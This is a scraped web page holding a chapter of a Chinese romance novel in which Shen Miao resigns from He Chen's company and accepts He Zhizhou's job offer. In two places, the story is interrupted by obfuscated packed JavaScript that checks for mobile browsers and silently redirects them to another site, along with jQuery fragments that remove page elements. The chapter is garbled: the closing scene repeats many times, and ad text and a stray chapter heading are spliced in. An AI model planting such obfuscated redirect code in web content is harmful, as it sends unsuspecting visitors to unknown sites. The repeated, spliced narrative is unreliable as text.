“沈渺你向贺家证明这个孩子不是贺忱的太难了可是你向我家证明这个孩子不是我的轻而易举。”
何之洲一本正经的分析“我爸他们会保守这个秘密的我当众挖你过来打了贺忱的脸我爸高兴还来不及呢。”
只要沈渺能向何家证明孩子不是何之洲的。
何家不会压这些**因为每一个**都是何家扇向贺家的巴掌。
这样的局势不光何之洲能预料到。
贺忱也能预料到。
可他还是决定让沈渺自己做决定。
沈渺的胸腔涨得难受被一股酸意腐蚀喘息都觉得困难。
“在这种情况下我只能选择用这样的方法保护你如果你觉得不妥可以拒绝但是你要考虑清楚贺家那边就更交代不清了。”
何之洲发动引擎驱车回家。
他察觉到了
而保护沈渺也成了他的本能。
沈渺…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205419|197321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…会选择让谁保护?
沈渺的选择能看出她是否能用理智战胜感性。
从何之洲车上下来沈渺抱着双臂往家里走。
没走两步她肩上多了一件外套。
何之洲下车追过来给她披上的。
“如果我这样的做法又给你带来麻烦了我很抱歉我会主动向所有人澄清但是我真的希望
你的朋友正在书荒,快去帮帮他吧
你好好考虑一下,我的办法真的可行。”
沈渺站在那里,目光怅然。
何之洲点了两下头,转身回车上,驱车回了公寓。
沈渺转身回家,在漆黑的房间里熟稔地上楼,坐在床尾的地垫上,头靠在床尾。
明天,贺忱在等她的答复。
与以往几次不同。
这一次,沈渺的直觉很强烈,只要她想走,就能走。
贺忱,一定会放她走。
何之洲说得太有道理了。
向贺家证明孩子不是贺忱的,太难了。
而向何家证明孩子不是何之洲的,轻而易举。
答案就摆在她眼前,怎么选才是最正确的。
可她迟迟下不了决定,犹豫不决……
如果选择跳槽,那孩子的身世大概率永远都不会被贺家知道。
孩子就是她一个人的了。
沈渺想了一晚上,找了无数的理由,都觉得跳槽才是最正确的选择。
渐渐地,天亮了。
一缕阳光照进室内,光线昏暗的房间渐渐变得明亮。
贺忱从床尾的沙发上起来,进入浴室洗漱。
末了他换一套干净的西装,戴上腕表,阔步离开去公司。
百荣分部,早上七点还没到工作时间,公司几乎空无一人。
贺忱从电梯出来,路过沈渺办公室时停顿了下,片刻恢复如常回到自己办公室。
他拨通李白恬的电话,“提醒沈渺,八点半准时到公司来。”
李白恬还在睡觉,听到他的声音立马醒盹了。
“贺总!哦好!”
李白恬挂了贺忱电话,立刻给沈渺打电话,“贺总让你八点半到公司!”
沈渺,“我已经到了。”
228.谢谢贺总照顾,再见。
“啊?”
李白恬心底一沉,“又出什么事情了,你这么一大早赶过来干什么?”
沈渺站在大厦下,仰头看着上面,“等结束了再跟你说。”
她挂了电话,进入公司。
此刻公司还空无一人,她来得早是想赶在没人前到顶楼。
没想到,贺忱已经来了。
片刻,贺忱办公室。
沈渺站在办公室正中央,来时做足准备,组织了话语,无数次在心里演练。
此刻面对贺忱,却一句话也说不出。
贺忱拉开右手边的抽屉,递过来一份离职协议书,推向她。
“签了吧。”
沈渺下意识说,“我还没给您答复。”
贺忱,“你一直想走,没有理由再留下。”
他言简意赅,字字戳重点。
“怎么?该不会告诉我,真能走了,你反而舍不得了。”
男人狭长的眼眸微眯,看向她的目光带着探究。
沈渺看着那份文件,平静的面容透出几分复杂。
她深吸一口气,从包里拿出一支碳素笔,直接将文件翻到最后一页,签字。
沈渺。
她的字柔和有力,带着几分锋利。
最后一笔落下时,贺忱的目光收回。
“按照公司规定,一旦公司内部机密泄露,你将会接受全面盘查,被列为第一嫌疑人,若事情跟你有关你将双倍赔偿公司所有损失。”
他声音漠然,提醒着解约书里的条款。
沈渺将笔帽盖好,放在合约书旁,“好。”
“你不看看条约?”贺忱示意她,将解约书都看完。
沈渺摇头,“我相信贺总。”
贺忱失笑,不知该高兴还是如何。
“合同会在两个工作日内走完,到时人事会通知你来办理手续。”
“我知道流程,不用贺总提醒了。”
沈渺点头,心底发着的酸涩,令她整个胸腔发胀。
“有其他需要交接的工作,贺总可以随时给我打电话。”
贺忱转动椅子,面朝落地窗,只留给她一张轮廓分明的侧脸。
沈渺还想再说什么,却又觉得无话可说。
“这几年,谢谢贺总的照顾,再见。”
回应她的,是一片沉默。
她没再说别的,转身离开。
整个流程不超十分钟。
仍旧不到上班的点,公司还空无一人。
沈渺的平底鞋踩在地板上,发出轻微的声响,声声变小,直至彻底消失在贺忱的耳朵里。
他目光微动,落在沈妙留下的那支黑色碳素笔上。
他拿过笔,指腹轻轻摩擦,目光极深又沉,看起来却没什么情绪。
审批流程最多两个工作日内。
当天下午,沈渺就接到人事部的通知,过来办理交接手续。
她其实没什么好交接的,毕竟也是刚接手公司不久。
何况已经休了产假,提前把工作交接好了。
但她还是往公司跑了一趟,拿了解约书后,跟李白恬交代一番。
“怎么说走就走了,也太突然了。”
李白恬一脸懵,“是不是韩文松搞的鬼?”
沈渺摇头,“不是,是自愿离职。”
“贺总没留你吗?”李白恬亚历山大,“我就是临时打工的小喽喽,根本做不到让他满意。”
“有任何不懂的,给我打电话,三更半夜都行。”
沈渺拍拍她肩膀,往贺忱办公室看了一眼。
办公室门紧闭,像是两个空间,完全隔开来。
“好了,走了。”
李白恬不知想到什么,快哭了。
沈渺果断走了,怕她落了泪影响工作。
李白恬正欲送她到公司楼下。
办公桌上的内线被打通,贺忱低沉富有磁性的声音传来,“进来。”
进来,进来一下,沈渺,过来。
诸如此类的话,沈渺听过不知多少次。
熟悉又陌生的感觉袭来,她进入电梯的动作一顿。
“哎呀,沈渺姐!”李白恬着急,送她不是,不送也不是,“你等我,我马上回来!”
沈渺回头,便看到她匆匆跑进贺忱办公室。
办公室的门一开一关,男人的身影被午后的阳光打在墙壁上。
一闪即过,沈渺收回目光,进入电梯离开。
她离职的事情,没跟商音说。
回到家,直接将一份离职协议书放在商音面前。
商音母爱泛滥,抱着商商猛亲,面前冷不丁多了一份文件。
她没当回事,“啥啊?给我念念。”
“离职协议书,我和百荣的,这里有我跟贺忱的签字。”
沈渺翻到最后一页,看着贺忱的签字。
“**?”商音放下商商,把协议书抢过去,翻看一遍音调改为四声,“**!”
“什么时候的事情?好端端怎么就离职了
?”
商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。”
沈渺摇摇头,她挺冷静的,大脑很平静。
但是心里还有些不得劲。
“毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?”
商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。”
干了几年的工作会不舍是正常的。
喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。
商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。
“行,庆祝一下。”
沈渺随她。
她拿过离职协议书,拍照给何之洲发过去。
没几秒钟,外面突然传来叫喊声。
“沈渺,沈渺你开门!”
沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。
何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。
“我在这儿。”
沈渺开了窗户,喊了他一声。
“忘了,你天天泡在她家。”
何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。
“你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。”
沈渺点头,“知道了。”
“今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。”
“晚上吃火锅,你也一起过来吧。”
沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”
?”
商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。”
沈渺摇摇头,她挺冷静的,大脑很平静。
但是心里还有些不得劲。
“毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?”
商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。”
干了几年的工作会不舍是正常的。
喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。
商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。
“行,庆祝一下。”
沈渺随她。
她拿过离职协议书,拍照给何之洲发过去。
没几秒钟,外面突然传来叫喊声。
“沈渺,沈渺你开门!”
沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。
何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。
“我在这儿。”
沈渺开了窗户,喊了他一声。
“忘了,你天天泡在她家。”
何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。
“你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。”
沈渺点头,“知道了。”
“今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。”
“晚上吃火锅,你也一起过来吧。”
沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”
?”
商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。”
沈渺摇摇头,她挺冷静的,大脑很平静。
但是心里还有些不得劲。
“毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?”
商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。”
干了几年的工作会不舍是正常的。
喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。
商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。
“行,庆祝一下。”
沈渺随她。
她拿过离职协议书,拍照给何之洲发过去。
没几秒钟,外面突然传来叫喊声。
“沈渺,沈渺你开门!”
沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。
何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。
“我在这儿。”
沈渺开了窗户,喊了他一声。
“忘了,你天天泡在她家。”
何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。
“你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。”
沈渺点头,“知道了。”
“今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。”
“晚上吃火锅,你也一起过来吧。”
沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”
?”
商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。”
沈渺摇摇头,她挺冷静的,大脑很平静。
但是心里还有些不得劲。
“毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?”
商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。”
干了几年的工作会不舍是正常的。
喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。
商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。
“行,庆祝一下。”
沈渺随她。
她拿过离职协议书,拍照给何之洲发过去。
没几秒钟,外面突然传来叫喊声。
“沈渺,沈渺你开门!”
沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。
何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。
“我在这儿。”
沈渺开了窗户,喊了他一声。
“忘了,你天天泡在她家。”
何之洲回头,小跑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205420|197321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿过马路过来,站在窗外,突然就笑成包子脸。
“你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。”
沈渺点头,“知道了。”
“今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。”
“晚上吃火锅,你也一起过来吧。”
沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”
?”
商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。”
沈渺摇摇头,她挺冷静的,大脑很平静。
但是心里还有些不得劲。
“毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?”
商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。”
干了几年的工作会不舍是正常的。
喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。
商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。
“行,庆祝一下。”
沈渺随她。
她拿过离职协议书,拍照给何之洲发过去。
没几秒钟,外面突然传来叫喊声。
“沈渺,沈渺你开门!”
沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。
何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。
“我在这儿。”
沈渺开了窗户,喊了他一声。
“忘了,你天天泡在她家。”
何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。
“你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。”
沈渺点头,“知道了。”
“今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。”
“晚上吃火锅,你也一起过来吧。”
沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”
?”
商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。”
沈渺摇摇头,她挺冷静的,大脑很平静。
但是心里还有些不得劲。
“毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?”
商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。”
干了几年的工作会不舍是正常的。
喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。
商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。
“行,庆祝一下。”
沈渺随她。
她拿过离职协议书,拍照给何之洲发过去。
没几秒钟,外面突然传来叫喊声。
“沈渺,沈渺你开门!”
沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。
何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。
“我在这儿。”
沈渺开了窗户,喊了他一声。
“忘了,你天天泡在她家。”
何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。
“你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。”
沈渺点头,“知道了。”
“今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。”
“晚上吃火锅,你也一起过来吧。”
沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”
?”
商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。”
沈渺摇摇头,她挺冷静的,大脑很平静。
但是心里还有些不得劲。
“毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?”
商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。”
干了几年的工作会不舍是正常的。
喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。
商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。
“行,庆祝一下。”
沈渺随她。
她拿过离职协议书,拍照给何之洲发过去。
没几秒钟,外面突然传来叫喊声。
“沈渺,沈渺你开门!”
沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。
何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。
“我在这儿。”
沈渺开了窗户,喊了他一声。
“忘了,你天天泡在她家。”
何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。
“你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。”
沈渺点头,“知道了。”
“今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。”
“晚上吃火锅,你也一起过来吧。”
沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”